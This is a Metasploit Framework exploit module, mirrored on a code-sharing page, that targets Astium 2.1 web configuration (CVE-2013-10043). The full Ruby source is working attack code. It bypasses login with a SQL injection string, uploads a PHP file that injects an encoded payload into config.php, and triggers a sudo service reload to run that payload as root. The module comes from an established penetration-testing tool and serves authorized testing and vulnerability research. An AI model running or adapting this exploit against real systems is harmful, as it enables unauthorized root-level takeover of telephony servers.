Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/astium_sqli_upload.rb
24148 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ManualRanking # Configuration is overwritten and service reloaded
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => "Astium Remote Code Execution",
17
'Description' => %q{
18
This module exploits vulnerabilities found in Astium astium-confweb-2.1-25399 RPM and
19
lower. A SQL Injection vulnerability is used to achieve authentication bypass and gain
20
admin access. From an admin session arbitrary PHP code upload is possible. It is used
21
to add the final PHP payload to "/usr/local/astium/web/php/config.php" and execute the
22
"sudo /sbin/service astcfgd reload" command to reload the configuration and achieve
23
remote root code execution.
24
},
25
'License' => MSF_LICENSE,
26
'Author' => [
27
'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module
28
],
29
'References' => [
30
[ 'CVE', '2013-10043' ],
31
[ 'OSVDB', '88860' ],
32
[ 'EDB', '23831' ]
33
],
34
'Platform' => ['php'],
35
'Arch' => ARCH_PHP,
36
'Targets' => [
37
['Astium 2.1', {}]
38
],
39
'Privileged' => true,
40
'DisclosureDate' => '2013-09-17',
41
'DefaultTarget' => 0,
42
'Notes' => {
43
'Reliability' => UNKNOWN_RELIABILITY,
44
'Stability' => UNKNOWN_STABILITY,
45
'SideEffects' => UNKNOWN_SIDE_EFFECTS
46
}
47
)
48
)
49
50
register_options(
51
[
52
OptString.new('TARGETURI', [true, 'The base path to the Astium installation', '/']),
53
]
54
)
55
end
56
57
def uri
58
return target_uri.path
59
end
60
61
def check
62
# Check version
63
vprint_status("Trying to detect Astium")
64
65
res = send_request_cgi({
66
'method' => 'GET',
67
'uri' => normalize_uri(uri, "en", "content", "index.php")
68
})
69
70
if res and res.code == 302 and res.body =~ /direct entry from outside/
71
return Exploit::CheckCode::Detected
72
else
73
return Exploit::CheckCode::Unknown
74
end
75
end
76
77
def exploit
78
print_status("Access login page")
79
res = send_request_cgi({
80
'method' => 'GET',
81
'uri' => normalize_uri(uri),
82
'vars_get' => {
83
'js' => '0',
84
'ctest' => '1',
85
'origlink' => '/en/content/index.php'
86
}
87
})
88
89
if res and res.code == 302 and res.get_cookies =~ /astiumnls=([a-zA-Z0-9]+)/
90
session = $1
91
print_good("Session cookie is [ #{session} ]")
92
redirect = URI(res.headers['Location'])
93
print_status("Location is [ #{redirect} ]")
94
else
95
fail_with(Failure::Unknown, "#{peer} - Access to login page failed!")
96
end
97
98
# Follow redirection process
99
print_status("Following redirection")
100
res = send_request_cgi({
101
'uri' => "#{redirect}",
102
'method' => 'GET',
103
'cookie' => "astiumnls=#{session}"
104
})
105
106
if not res or res.code != 200
107
fail_with(Failure::Unknown, "#{peer} - Redirect failed!")
108
end
109
110
sqlirandom = rand_text_numeric(8)
111
112
# SQLi to bypass authentication
113
sqli = "system' OR '#{sqlirandom}'='#{sqlirandom}"
114
115
# Random password
116
pass = rand_text_alphanumeric(10)
117
118
post_data = "__act=submit&user_name=#{sqli}&pass_word=#{pass}&submit=Login"
119
print_status("Using SQLi to bypass authentication")
120
res = send_request_cgi({
121
'method' => 'POST',
122
'uri' => normalize_uri(uri, "/en", "logon.php"),
123
'cookie' => "astiumnls=#{session}",
124
'data' => post_data
125
})
126
127
if not res or res.code != 302
128
fail_with(Failure::Unknown, "#{peer} - Login bypass was not succesful!")
129
end
130
131
# Random filename
132
payload_name = rand_text_alpha(rand(10) + 5) + '.php'
133
134
phppayload = "<?php "
135
# Make backup of the "/usr/local/astium/web/php/config.php" file
136
phppayload << "$orig = file_get_contents('/usr/local/astium/web/php/config.php');"
137
# Add the payload to the end of "/usr/local/astium/web/php/config.php". Also do a check if we are root,
138
# else during the config reload it might happen that an extra shell is spawned as the apache user.
139
phppayload << "$replacement = base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\");"
140
phppayload << "$f = fopen('/usr/local/astium/web/php/config.php', 'w');"
141
phppayload << "fwrite($f, $orig . \"<?php if (posix_getuid() == 0) {\" . $replacement . \"} ?>\");"
142
phppayload << "fclose($f);"
143
# Reload astcfgd using sudo (so it will read our payload with root privileges).
144
phppayload << "system('sudo /sbin/service astcfgd reload');"
145
# Sleep 1 minute, so that we have enough time for the reload to trigger our payload
146
phppayload << "sleep(60);"
147
# Restore our original config.php, else the Astium web interface won't work anymore.
148
phppayload << "$f = fopen('/usr/local/astium/web/php/config.php', 'w');"
149
phppayload << "fwrite($f, $orig);"
150
phppayload << "fclose($f);"
151
phppayload << "?>"
152
153
post_data = Rex::MIME::Message.new
154
post_data.add_part("submit", nil, nil, "form-data; name=\"__act\"")
155
post_data.add_part(phppayload, "application/octet-stream", nil, "file; name=\"importcompany\"; filename=\"#{payload_name}\"")
156
file = post_data.to_s
157
158
print_status("Uploading Payload [ #{payload_name} ]")
159
res = send_request_cgi({
160
'method' => 'POST',
161
'uri' => normalize_uri(uri, "en", "database", "import.php"),
162
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
163
'cookie' => "astiumnls=#{session}",
164
'data' => file
165
})
166
167
# If the server returns 200 and the body contains our payload name,
168
# we assume we uploaded the malicious file successfully
169
if not res or res.code != 200 or res.body !~ /#{payload_name}/
170
fail_with(Failure::Unknown, "#{peer} - File wasn't uploaded, aborting!")
171
end
172
173
register_file_for_cleanup("/usr/local/astium/web/html/upload/#{payload_name}")
174
175
print_status("Requesting Payload [ #{uri}upload/#{payload_name} ]")
176
print_status("Waiting as the reloading process may take some time, this may take a couple of minutes")
177
res = send_request_cgi({
178
'method' => 'GET',
179
'uri' => normalize_uri(uri, "upload", "#{payload_name}")
180
}, 120)
181
182
# If we don't get a 200 when we request our malicious payload, we suspect
183
# we don't have a shell, either.
184
if res and res.code != 200
185
print_error("Unexpected response...")
186
end
187
end
188
end
189
190